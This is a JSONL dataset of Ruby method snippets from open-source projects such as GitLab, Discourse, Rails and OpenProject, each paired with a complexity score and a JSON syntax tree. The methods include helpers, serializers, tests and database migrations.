{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/git/repository.rb","start_line":137,"raw_source":"def find_branch(name)\n        wrapped_gitaly_errors do\n          gitaly_ref_client.find_branch(name)\n        end\n      rescue Gitlab::Git::AmbiguousRef\n        # Gitaly returns \"reference is ambiguous\" error in case when users request\n        # branch \"my-branch\", when another branch \"my-branch/branch\" exists.\n        # We handle this error here and return nil for this case.\n      end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"find_branch\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"wrapped_gitaly_errors\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"gitaly_ref_client\"]},\"find_branch\",{\"type\":\"lvar\",\"children\":[\"name\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Git\"]},\"AmbiguousRef\"]}]},null,null]},null]}]}","id":"30db8769-b2e9-4a4c-b6a9-e64f5641e324"}
{"repo_name":"forem","file_path":"./repos/forem/lib/data_update_scripts/20200825095512_nullify_orphaned_comments_by_article.rb","start_line":3,"raw_source":"def run\n      # Nullify article_id for all Comments linked to a non existing Article\n      ActiveRecord::Base.connection.execute(\n        <<~SQL.squish,\n          UPDATE comments\n          SET commentable_id = NULL, commentable_type = NULL\n          WHERE commentable_type = 'Article'\n          AND commentable_id NOT IN (SELECT id FROM articles);\n        SQL\n      )\n    end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"run\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"connection\"]},\"execute\",{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"UPDATE comments\\n\"]},{\"type\":\"str\",\"children\":[\"SET commentable_id = NULL, commentable_type = NULL\\n\"]},{\"type\":\"str\",\"children\":[\"WHERE commentable_type = 'Article'\\n\"]},{\"type\":\"str\",\"children\":[\"AND commentable_id NOT IN (SELECT id FROM articles);\\n\"]}]},\"squish\"]}]}]}","id":"23f13e42-dd0f-43dd-b4e8-2236919bdb3d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/work_items/data_sync/widgets/base.rb","start_line":15,"raw_source":"def initialize(work_item:, target_work_item:, current_user:, params: {})\n          @work_item = work_item\n          @target_work_item = target_work_item\n          @current_user = current_user\n          @params = params\n        end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"work_item\"]},{\"type\":\"kwarg\",\"children\":[\"target_work_item\"]},{\"type\":\"kwarg\",\"children\":[\"current_user\"]},{\"type\":\"kwoptarg\",\"children\":[\"params\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@work_item\",{\"type\":\"lvar\",\"children\":[\"work_item\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@target_work_item\",{\"type\":\"lvar\",\"children\":[\"target_work_item\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@current_user\",{\"type\":\"lvar\",\"children\":[\"current_user\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@params\",{\"type\":\"lvar\",\"children\":[\"params\"]}]}]}]}","id":"f7af11d4-8fa6-4eab-9028-707d2a5564ce"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-patreon/db/migrate/20221026043851_delete_unverified_patreon_user_info.rb","start_line":4,"raw_source":"def up\n    execute <<~SQL\n      DELETE FROM user_auth_tokens\n      WHERE user_id IN (\n        SELECT user_id\n        FROM user_associated_accounts\n        WHERE provider_name = 'patreon'\n        AND COALESCE(JSON_EXTRACT_PATH(extra::json, 'raw_info', 'data', 'attributes', 'is_email_verified')::text, 'false') <> 'true'\n      )\n    SQL\n\n    execute <<~SQL\n      UPDATE user_api_keys\n      SET revoked_at = NOW()\n      WHERE user_id IN (\n        SELECT user_id\n        FROM user_associated_accounts\n        WHERE provider_name = 'patreon'\n        AND COALESCE(JSON_EXTRACT_PATH(extra::json, 'raw_info', 'data', 'attributes', 'is_email_verified')::text, 'false') <> 'true'\n      )\n    SQL\n\n    execute <<~SQL\n      UPDATE api_keys\n      SET revoked_at = NOW()\n      WHERE created_by_id IN (\n        SELECT user_id\n        FROM user_associated_accounts\n        WHERE provider_name = 'patreon'\n        AND COALESCE(JSON_EXTRACT_PATH(extra::json, 'raw_info', 'data', 'attributes', 'is_email_verified')::text, 'false') <> 'true'\n      )\n    SQL\n\n    execute <<~SQL\n      DELETE FROM user_associated_accounts\n      WHERE provider_name = 'patreon'\n      AND COALESCE(JSON_EXTRACT_PATH(extra::json, 'raw_info', 'data', 'attributes', 'is_email_verified')::text, 'false') <> 'true'\n    SQL\n  end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"DELETE FROM user_auth_tokens\\n\"]},{\"type\":\"str\",\"children\":[\"WHERE user_id IN (\\n\"]},{\"type\":\"str\",\"children\":[\"  SELECT user_id\\n\"]},{\"type\":\"str\",\"children\":[\"  FROM user_associated_accounts\\n\"]},{\"type\":\"str\",\"children\":[\"  WHERE provider_name = 'patreon'\\n\"]},{\"type\":\"str\",\"children\":[\"  AND COALESCE(JSON_EXTRACT_PATH(extra::json, 'raw_info', 'data', 'attributes', 'is_email_verified')::text, 'false') <> 'true'\\n\"]},{\"type\":\"str\",\"children\":[\")\\n\"]}]}]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"UPDATE user_api_keys\\n\"]},{\"type\":\"str\",\"children\":[\"SET revoked_at = NOW()\\n\"]},{\"type\":\"str\",\"children\":[\"WHERE user_id IN (\\n\"]},{\"type\":\"str\",\"children\":[\"  SELECT user_id\\n\"]},{\"type\":\"str\",\"children\":[\"  FROM user_associated_accounts\\n\"]},{\"type\":\"str\",\"children\":[\"  WHERE provider_name = 'patreon'\\n\"]},{\"type\":\"str\",\"children\":[\"  AND COALESCE(JSON_EXTRACT_PATH(extra::json, 'raw_info', 'data', 'attributes', 'is_email_verified')::text, 'false') <> 'true'\\n\"]},{\"type\":\"str\",\"children\":[\")\\n\"]}]}]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"UPDATE api_keys\\n\"]},{\"type\":\"str\",\"children\":[\"SET revoked_at = NOW()\\n\"]},{\"type\":\"str\",\"children\":[\"WHERE created_by_id IN (\\n\"]},{\"type\":\"str\",\"children\":[\"  SELECT user_id\\n\"]},{\"type\":\"str\",\"children\":[\"  FROM user_associated_accounts\\n\"]},{\"type\":\"str\",\"children\":[\"  WHERE provider_name = 'patreon'\\n\"]},{\"type\":\"str\",\"children\":[\"  AND COALESCE(JSON_EXTRACT_PATH(extra::json, 'raw_info', 'data', 'attributes', 'is_email_verified')::text, 'false') <> 'true'\\n\"]},{\"type\":\"str\",\"children\":[\")\\n\"]}]}]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"DELETE FROM user_associated_accounts\\n\"]},{\"type\":\"str\",\"children\":[\"WHERE provider_name = 'patreon'\\n\"]},{\"type\":\"str\",\"children\":[\"AND COALESCE(JSON_EXTRACT_PATH(extra::json, 'raw_info', 'data', 'attributes', 'is_email_verified')::text, 'false') <> 'true'\\n\"]}]}]}]}]}","id":"103e5a37-f11b-4900-bdca-a3bc0c3883c4"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/click_house/migrate/main/20240528154400_recreate_ci_used_minutes_by_runner_daily_mv.rb","start_line":27,"raw_source":"def down\n    execute <<~SQL\n      DROP VIEW IF EXISTS ci_used_minutes_by_runner_daily_mv\n    SQL\n\n    execute <<~SQL\n      CREATE MATERIALIZED VIEW IF NOT EXISTS ci_used_minutes_by_runner_daily_mv\n      TO ci_used_minutes_by_runner_daily\n      AS\n      SELECT\n        toStartOfInterval(finished_at, INTERVAL 1 day) AS finished_at_bucket,\n        runner_type,\n        status,\n        runner_id,\n\n        countState() AS count_builds,\n        sumSimpleState(duration) AS total_duration\n      FROM ci_finished_builds\n      GROUP BY finished_at_bucket, runner_type, status, runner_id\n    SQL\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"str\",\"children\":[\"DROP VIEW IF EXISTS ci_used_minutes_by_runner_daily_mv\\n\"]}]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"CREATE MATERIALIZED VIEW IF NOT EXISTS ci_used_minutes_by_runner_daily_mv\\n\"]},{\"type\":\"str\",\"children\":[\"TO ci_used_minutes_by_runner_daily\\n\"]},{\"type\":\"str\",\"children\":[\"AS\\n\"]},{\"type\":\"str\",\"children\":[\"SELECT\\n\"]},{\"type\":\"str\",\"children\":[\"  toStartOfInterval(finished_at, INTERVAL 1 day) AS finished_at_bucket,\\n\"]},{\"type\":\"str\",\"children\":[\"  runner_type,\\n\"]},{\"type\":\"str\",\"children\":[\"  status,\\n\"]},{\"type\":\"str\",\"children\":[\"  runner_id,\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"  countState() AS count_builds,\\n\"]},{\"type\":\"str\",\"children\":[\"  sumSimpleState(duration) AS total_duration\\n\"]},{\"type\":\"str\",\"children\":[\"FROM ci_finished_builds\\n\"]},{\"type\":\"str\",\"children\":[\"GROUP BY finished_at_bucket, runner_type, status, runner_id\\n\"]}]}]}]}]}","id":"03a5dcc2-9d2f-40e2-8cf1-4f112b0f0663"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/lib/miq_environment.rb","start_line":125,"raw_source":"def self.which\n      case Sys::Platform::IMPL\n      when :linux, :macosx\n        \"which\"\n      else\n        raise \"Not yet supported platform: #{Sys::Platform::IMPL}\"\n      end\n    end","complexity_score":3.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"which\",{\"type\":\"args\",\"children\":[]},{\"type\":\"case\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Sys\"]},\"Platform\"]},\"IMPL\"]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"linux\"]},{\"type\":\"sym\",\"children\":[\"macosx\"]},{\"type\":\"str\",\"children\":[\"which\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Not yet supported platform: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Sys\"]},\"Platform\"]},\"IMPL\"]}]}]}]}]}]}","id":"87c5c9d2-b584-424a-8098-7901750ffe2f"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/helpers/pagination_helper.rb","start_line":99,"raw_source":"def show_more_limit_param(limit: nil, initial_limit: SHOW_MORE_DEFAULT_LIMIT)\n    limit = limit.to_i\n    if limit.zero?\n      initial_limit\n    else\n      [limit, SHOW_MORE_MAX_LIMIT].min\n    end\n  end","complexity_score":5.1,"ast_json":"{\"type\":\"def\",\"children\":[\"show_more_limit_param\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"limit\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"initial_limit\",{\"type\":\"const\",\"children\":[null,\"SHOW_MORE_DEFAULT_LIMIT\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"limit\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"limit\"]},\"to_i\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"limit\"]},\"zero?\"]},{\"type\":\"lvar\",\"children\":[\"initial_limit\"]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"limit\"]},{\"type\":\"const\",\"children\":[null,\"SHOW_MORE_MAX_LIMIT\"]}]},\"min\"]}]}]}]}","id":"c69b3540-7450-4d7b-b4c4-90cab2f8f686"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/projects/feature_flags_controller.rb","start_line":93,"raw_source":"def feature_flag\n    @feature_flag ||= @noteable = project.operations_feature_flags.find_by_iid!(params[:iid])\n  end","complexity_score":8.2,"ast_json":"{\"type\":\"def\",\"children\":[\"feature_flag\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@feature_flag\"]},{\"type\":\"ivasgn\",\"children\":[\"@noteable\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"operations_feature_flags\"]},\"find_by_iid!\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"iid\"]}]}]}]}]}]}","id":"1e031bb9-b903-452a-87ea-1257c8890359"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/attribute_methods/primary_key.rb","start_line":22,"raw_source":"def primary_key_values_present? # :nodoc:\n        !!id\n      end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"primary_key_values_present?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"id\"]},\"!\"]},\"!\"]}]}","id":"46eea175-0245-407f-8a34-ec2014a20543"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/manageiq/providers/cloud_manager.rb","start_line":153,"raw_source":"def self.display_name(number = 1)\n      n_('Cloud Manager', 'Cloud Managers', number)\n    end","complexity_score":2.25,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"display_name\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"number\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"send\",\"children\":[null,\"n_\",{\"type\":\"str\",\"children\":[\"Cloud Manager\"]},{\"type\":\"str\",\"children\":[\"Cloud Managers\"]},{\"type\":\"lvar\",\"children\":[\"number\"]}]}]}","id":"98c92b2b-314e-415e-8384-d79ae7d150f7"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/organizations/organization_helper.rb","start_line":101,"raw_source":"def shared_new_settings_general_app_data\n      {\n        preview_markdown_path: preview_markdown_organizations_path,\n        organizations_path: organizations_scope_path,\n        root_url: root_url\n      }\n    end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"shared_new_settings_general_app_data\",{\"type\":\"args\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"preview_markdown_path\"]},{\"type\":\"send\",\"children\":[null,\"preview_markdown_organizations_path\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"organizations_path\"]},{\"type\":\"send\",\"children\":[null,\"organizations_scope_path\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"root_url\"]},{\"type\":\"send\",\"children\":[null,\"root_url\"]}]}]}]}","id":"c565c775-683a-40cc-83e7-1b5055d791a5"}
{"repo_name":"ruby_llm","file_path":"./repos/ruby_llm/lib/ruby_llm/providers/bedrock/capabilities.rb","start_line":21,"raw_source":"def input_price_for(model_id)\n          PRICES.dig(model_family(model_id), :input) || default_input_price\n        end","complexity_score":4.5,"ast_json":"{\"type\":\"def\",\"children\":[\"input_price_for\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"model_id\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PRICES\"]},\"dig\",{\"type\":\"send\",\"children\":[null,\"model_family\",{\"type\":\"lvar\",\"children\":[\"model_id\"]}]},{\"type\":\"sym\",\"children\":[\"input\"]}]},{\"type\":\"send\",\"children\":[null,\"default_input_price\"]}]}]}","id":"3f736162-edae-4ee8-b6ac-a6aa00e51729"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/corrector.rb","start_line":51,"raw_source":"def remove_preceding(node_or_range, size)\n        range = to_range(node_or_range)\n        to_remove = range.with(begin_pos: range.begin_pos - size, end_pos: range.begin_pos)\n        remove(to_remove)\n      end","complexity_score":8.8,"ast_json":"{\"type\":\"def\",\"children\":[\"remove_preceding\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node_or_range\"]},{\"type\":\"arg\",\"children\":[\"size\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"range\",{\"type\":\"send\",\"children\":[null,\"to_range\",{\"type\":\"lvar\",\"children\":[\"node_or_range\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"to_remove\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"range\"]},\"with\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"begin_pos\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"range\"]},\"begin_pos\"]},\"-\",{\"type\":\"lvar\",\"children\":[\"size\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"end_pos\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"range\"]},\"begin_pos\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"remove\",{\"type\":\"lvar\",\"children\":[\"to_remove\"]}]}]}]}","id":"a280e82b-a47b-4a81-8b3f-41e51acc290f"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/constraints/project_identifier.rb","start_line":38,"raw_source":"def self.matches?(request)\n      project_id = request.path_parameters[:project_id] || request.params[:project_id]\n      REGEX_ANCHORED === project_id\n    end","complexity_score":7.8,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"matches?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"request\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"project_id\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"path_parameters\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"project_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"project_id\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"REGEX_ANCHORED\"]},\"===\",{\"type\":\"lvar\",\"children\":[\"project_id\"]}]}]}]}","id":"21b05189-8885-4ec2-a702-8ee4549790b7"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/database/migration_helpers.rb","start_line":964,"raw_source":"def column_for(table, name)\n        name = name.to_s\n\n        column = columns(table).find { |column| column.name == name }\n        raise(missing_schema_object_message(table, \"column\", name)) if column.nil?\n\n        column\n      end","complexity_score":13.0,"ast_json":"{\"type\":\"def\",\"children\":[\"column_for\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"table\"]},{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"name\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"to_s\"]}]},{\"type\":\"lvasgn\",\"children\":[\"column\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"columns\",{\"type\":\"lvar\",\"children\":[\"table\"]}]},\"find\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"column\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"column\"]},\"name\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"column\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[null,\"missing_schema_object_message\",{\"type\":\"lvar\",\"children\":[\"table\"]},{\"type\":\"str\",\"children\":[\"column\"]},{\"type\":\"lvar\",\"children\":[\"name\"]}]}]},null]},{\"type\":\"lvar\",\"children\":[\"column\"]}]}]}","id":"168fda6a-2367-479c-bc9e-b7d65bde953d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/workers/object_storage/migrate_uploads_worker.rb","start_line":76,"raw_source":"def perform(*args)\n      ids, to_store = retrieve_applicable_args!(args)\n\n      @to_store = to_store\n\n      uploads = Upload.preload(:model).where(id: ids)\n\n      results = migrate(uploads)\n\n      report!(results)\n    rescue SanityCheckError => e\n      # do not retry: the job is insane\n      Gitlab::AppLogger.warn \"#{self.class}: Sanity check error (#{e.message})\"\n    end","complexity_score":19.2,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"args\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ids\"]},{\"type\":\"lvasgn\",\"children\":[\"to_store\"]}]},{\"type\":\"send\",\"children\":[null,\"retrieve_applicable_args!\",{\"type\":\"lvar\",\"children\":[\"args\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@to_store\",{\"type\":\"lvar\",\"children\":[\"to_store\"]}]},{\"type\":\"lvasgn\",\"children\":[\"uploads\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Upload\"]},\"preload\",{\"type\":\"sym\",\"children\":[\"model\"]}]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"ids\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"results\",{\"type\":\"send\",\"children\":[null,\"migrate\",{\"type\":\"lvar\",\"children\":[\"uploads\"]}]}]},{\"type\":\"send\",\"children\":[null,\"report!\",{\"type\":\"lvar\",\"children\":[\"results\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SanityCheckError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"AppLogger\"]},\"warn\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]}]},{\"type\":\"str\",\"children\":[\": Sanity check error (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]}]},null]}]}","id":"7bc236ed-c689-4549-b0c5-193f20dadb9e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/git/branch.rb","start_line":16,"raw_source":"def active?\n        self.dereferenced_target.committed_date >= STALE_BRANCH_THRESHOLD.ago\n      end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"active?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"dereferenced_target\"]},\"committed_date\"]},\">=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"STALE_BRANCH_THRESHOLD\"]},\"ago\"]}]}]}","id":"55706ec2-bfea-4044-9914-791757c8f099"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/presenters/terraform/module_version_presenter.rb","start_line":40,"raw_source":"def version\n      package.version\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"version\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"package\"]},\"version\"]}]}","id":"cb095225-1b67-4c54-b8e4-cbf333613d3b"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/serializers/topic_view_details_serializer.rb","start_line":68,"raw_source":"def last_poster\n    object.topic.last_poster\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"last_poster\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"topic\"]},\"last_poster\"]}]}","id":"e1ba1072-94b3-44cb-8401-a0aeedbe70f1"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/routing_test.rb","start_line":580,"raw_source":"def test_changing_controller\n    rs.draw { ActionDispatch.deprecator.silence { get \":controller/:action/:id\" } }\n\n    get URI(\"http://test.host/admin/user/index/10\")\n\n    assert_equal \"/admin/stuff/show/10\",\n        controller.url_for(controller: \"stuff\", action: \"show\", id: 10, only_path: true)\n  end","complexity_score":14.05,"ast_json":"{\"type\":\"def\",\"children\":[\"test_changing_controller\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rs\"]},\"draw\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionDispatch\"]},\"deprecator\"]},\"silence\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"str\",\"children\":[\":controller/:action/:id\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"send\",\"children\":[null,\"URI\",{\"type\":\"str\",\"children\":[\"http://test.host/admin/user/index/10\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"/admin/stuff/show/10\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"controller\"]},\"url_for\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"controller\"]},{\"type\":\"str\",\"children\":[\"stuff\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"str\",\"children\":[\"show\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"int\",\"children\":[10]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"only_path\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}]}","id":"81336604-d5b6-441c-90c5-551ef27d5dd1"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/pipeline/seed/build.rb","start_line":148,"raw_source":"def max_needs_allowed\n            @pipeline.project.actual_limits.ci_needs_size_limit\n          end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"max_needs_allowed\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@pipeline\"]},\"project\"]},\"actual_limits\"]},\"ci_needs_size_limit\"]}]}","id":"69a9147f-dbbc-46e5-9395-dcaf72410533"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/lib/summarization/strategies/topic_summary.rb","start_line":7,"raw_source":"def type\n          AiSummary.summary_types[:complete]\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"type\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AiSummary\"]},\"summary_types\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"complete\"]}]}]}","id":"3377cddc-e986-4f12-a4be-e7966fc8fe88"}
